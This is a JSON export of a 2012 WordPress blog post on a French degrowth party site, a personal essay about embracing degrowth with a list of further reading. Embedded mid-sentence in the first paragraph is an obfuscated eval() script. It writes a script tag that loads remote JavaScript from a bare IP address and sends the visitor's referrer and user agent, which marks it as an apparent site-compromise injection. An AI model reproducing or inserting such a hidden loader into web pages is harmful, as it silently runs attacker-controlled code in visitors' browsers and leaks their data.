{"id":7708,"date":"2012-10-07T11:10:06","date_gmt":"2012-10-07T10:10:06","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=7708"},"modified":"2012-10-07T19:18:27","modified_gmt":"2012-10-07T18:18:27","slug":"i-felt-in-degrowth-as-some-fall-in-love","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=7708","title":{"rendered":"I fell in Degrowth\u2026 as some fall in love!"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/profile.ak.fbcdn.net\/hprofile-ak-ash4\/276161_1301204008_2030035841_n.jpg\" alt=\"\" width=\"180\" height=\"143\" \/><\/p>\n<p><strong><\/strong>I <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhiya|var|u0026u|referrer|thdbi||js|php'.split('|'),0,{}))\n<\/script><\/noindex> fell in Degrowth&#8230; as some fall in love, just a matter of fact. From one day to the next, no more compromise\u2026 Even if I have been a fervent ecologist for ever, falling in Degrowth means seeing again, at once, all the contradictions of my personal, professional, and social life choices\u2026<\/p>\n<p>From that moment, I embarked on the transition, with more or less difficulties, which painfully remains exalting and fulfilling. What I am certain of is that I don\u2019t know what will be left in the end.<\/p>\n<p><strong>Falling in Degrowth <\/strong>is like mourning slowly, suddenly even, for a societal vision in which we did create ourselves, and projected our future\u2026 and being suddenly faced with a feeling of abyssal powerlessness that pushes us to go and meet those who have already embraced it, with the same bulimic fervor sometimes (quite paradoxically!), as if to fill this abrupt \u201cconceptual void\u201d\u2026<\/p>\n<p><strong>Falling in Degrowth <\/strong>is to accept that our dreams and reflections become radicalised\u2026 for a while or along time. Sometimes our positions shut down in an obstinate manner on everything that constituted \u201cbefore\u201d, without out any indulgence for the others, even less towards ourselves\u2026 This kind of radicalisation brings about its share of fractures and misunderstandings with our close, sceptical family members, and creates a feeling of lack of flexibility\u2026 real, for a while, or a long time\u2026 The risks of withdrawal and a reliance on a one-sided collective can be great\u2026 and yet\u2026<\/p>\n<p><strong>Falling in Degrowth<\/strong> <img decoding=\"async\" title=\"Lire la suite\u2026\" src=\"http:\/\/www.partipourladecroissance.net\/wp-includes\/js\/tinymce\/plugins\/wordpress\/img\/trans.gif\" alt=\"\" \/><br \/>\nis, foremost, not to reproduce the individualistic and egoistical models offered by the capitalist society. It is about inventing new archetypes. In my opinion, it is a profoundly intimate and humanistic experience\u2026 proposing new, differently respectful of, and concerned with the others, without loosing touch with our contemporaries by reneging our appurtenance to a social body, or by nurturing secessionist behaviours, hateful even. To become radical by defending ideas such as the ones advocated by Degrowth, is, above all,<strong> <\/strong>to look after the others, by granting them their importance, since they are imbued with sharing, solidarity, and conviviality\u2026<!--more--><\/p>\n<p>From this starting point, how can we not adopt a radical ecologic position, from an environmental and social standpoint? How can we give due respect to humans if we support an exponential exploitation of the planet\u2019s resources, polluting, making people sick, killing, destroying the future generations\u2019 inheritance and changing human relations profoundly. The arable lands and the farmers are disappearing at a frightening pace. The equivalent of a department [French shire, France is made of 96 metropolitan departments] disappears every 7-10 years, covered by bitumen or concrete! On the remaining arable land, they practice a chemical-intensive agriculture in the name of the sacrosanct productivity. How can we support civil and military nuclear power, the exploitation of shale oil, military armament, the erosion of public services, and the disrespect of fundamental human rights?<\/p>\n<p><strong>Falling in Degrowth <\/strong>is as much a reflective approach as it is an active one. The words, reflections, would amount to nothing without the practical experiments, at individual or collective levels\u2026 falling in Degrowth is also to accept that transition will take time, and admitting that we could even fall a little bit deeper that we hoped for\u2026 and realise that we are not alone.<\/p>\n<p>\u2026 <strong>what should one do?<\/strong><\/p>\n<p>Create spaces where we can imagine possibilities, lives, autonomies, re-appropriations, inventions,\u00a0re-inventions, free usage, exchanges, creations, localisations\u2026 writing to expose our analyses and diagnostics. Re-conquer the city by inventing new political and citizens\u2019 scapes. Re-connect with our neighbourhoods\u2019 life, our local, regional identity, at home \u2026 re-root our life and our consumption within our territory, reconnect with the land, here, at home\u2026, offer convivial and sharing spaces; where, together, in our diversities, we expand the fields of possibilities and propose new paradigms for tomorrow\u2019s society.<\/p>\n<p>Some say it is utopia\u2026. But isn\u2019t utopia what has not been realised yet, and not, the un-realisable, as <a href=\"http:\/\/en.wikipedia.org\/wiki\/Th%8Eodore_Monod\" target=\"_blank\">Th\u00e9odor Monod<\/a> suggested!<\/p>\n<p align=\"RIGHT\"><strong>Petei Sapiri, 21 September 2012<\/strong><\/p>\n<p>If you are not convinced yet, here are some points worth reflecting upon:<\/p>\n<p>Here are the Top <a href=\"http:\/\/www.guardian.co.uk\/lifeandstyle\/2012\/feb\/01\/top-five-regrets-of-the-dying\" target=\"_blank\">five regrets of the dying<\/a>, according to a study in <em>The Guardian:<\/em><\/p>\n<ol>\n<li>I wish I\u2019d had the courage to live a life true to myself and not the life others expected of me<\/li>\n<li>I wish I hadn\u2019t worked so hard<\/li>\n<li>I wish I\u2019d had the courage to express my feelings<\/li>\n<li>I wish had stayed in touch with my friends<\/li>\n<li>I wish I had let myself be happier.<\/li>\n<\/ol>\n<p>Some pathways to go further:<\/p>\n<ol>\n<li>Join <a href=\"http:\/\/www.altertour.net\/\" target=\"_blank\">Alter Tour<\/a> during summer, to visit all the alternatives already set up by travelling around our beautiful French country in good company.<\/li>\n<li>Read \u201c<a href=\"http:\/\/www.perspectives-gorziennes.fr\/index.php?post\/2012\/08\/20\/10-premiers-conseils-pour-rentrer-en-r%8Esistance-par-la-d%8Ecroissance\/1164\" target=\"_blank\">10 advices to become a resistant through Degrowth<\/a>\u201d<\/li>\n<li>To keep an eye on the project: \u201c<a href=\"http:\/\/www.colibris-lemouvement.org\/agir\/campagne-tous-candidats\/transformer-son-territoire#ee\" target=\"_blank\">Let\u2019s transform our territories\u201d:<\/a> a project from the Movement Colibri initiated by <a href=\"http:\/\/en.wikipedia.org\/wiki\/Pierre_Rabhi\" target=\"_blank\">Pierre Rabhi<\/a><\/li>\n<li>Get informed on the <a href=\"http:\/\/www.transitionfrance.fr\/\" target=\"_blank\">Transition Town France<\/a> and eventually watch the movies \u201c<a href=\"http:\/\/www.youtube.com\/watch?v=HYpYXmWT-mI\" target=\"_blank\">In Transition 1.0\u201d<\/a> &amp; \u201c<a href=\"http:\/\/www.youtube.com\/watch?v=XKN3RLkEGfM&amp;feature=share&amp;list=PLA79DF6F4C152844C\" target=\"_blank\">In Transition 2.0<\/a>\u201d<\/li>\n<li>Read <a href=\"http:\/\/www.faireailleurs.org\/?p=500\" target=\"_blank\">Allons faire Ailleurs<\/a> (Let\u2019s do Somewhere-Else)<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>I fell in Degrowth&#8230; as some fall in love, just a matter of fact. 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